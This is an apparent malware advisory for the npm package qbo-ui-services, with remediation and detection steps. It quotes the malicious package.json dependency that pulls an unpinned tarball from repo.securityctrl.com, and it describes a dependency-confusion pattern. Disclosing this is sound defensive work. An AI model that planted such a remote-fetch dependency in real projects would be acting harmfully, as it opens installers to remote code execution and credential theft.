Malicious code in qbo-ui-services (npm)

MAL-2026-15519
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall qbo-ui-services

What this malware does

package.json line 11 declares a self-referential dependency whose source is a bare HTTP URL rather than a registry version range: "qbo-ui-services": "https://repo.securityctrl.com/qbo-ui-services". On npm install, npm fetches whatever tarball that URL returns and installs it, executing any lifecycle scripts contained inside, with no version pin and no integrity hash. The shipped index.js is an inert stub, so the manifest line is the entire published payload. The dependency key equals this package's own name and the version marker (45.0.0) is implausibly high, matching a dependency-confusion shape intended to win resolution against an internal package. The host repo.securityctrl.com is not a known npm registry and is unrelated to any declared repository or homepage.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for qbo-ui-services (version 45.0.0).

  2. If you installed it — respond

    Remove qbo-ui-services from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If qbo-ui-services was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions
